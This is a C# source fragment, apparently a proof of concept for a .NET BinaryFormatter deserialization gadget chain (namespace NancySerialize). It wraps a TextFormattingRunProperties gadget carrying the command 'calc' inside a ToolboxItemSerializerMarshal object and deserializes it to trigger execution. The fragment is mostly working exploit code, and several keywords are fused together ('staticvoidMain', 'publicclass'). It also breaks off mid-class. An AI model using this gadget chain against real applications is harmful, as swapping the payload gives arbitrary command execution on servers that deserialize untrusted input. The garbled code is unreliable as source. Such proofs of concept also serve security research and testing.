using Microsoft.VisualStudio.Text.Formatting; using System; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Windows.Data; using System.Windows.Markup;
namespaceNancySerialize { classProgram { staticvoidMain(string[] args) { BinaryFormatter binaryFormatter = new BinaryFormatter(); byte[] vs; using (MemoryStream memory = new MemoryStream()) { binaryFormatter.Serialize(memory, new TextFormattingRunPropertiesMarshal("calc")); vs = memory.ToArray(); } ToolboxItemSerializerMarshal toolBox = new ToolboxItemSerializerMarshal(vs); using (MemoryStream memoryStream = new MemoryStream()) { binaryFormatter.Serialize(memoryStream, toolBox); memoryStream.Position = 0; binaryFormatter.Deserialize(memoryStream); } } } [Serializable] publicclassToolboxItemSerializerMarshal : ISerializable { publicToolboxItemSerializerMarshal(byte[] payload) { Payload = payload; }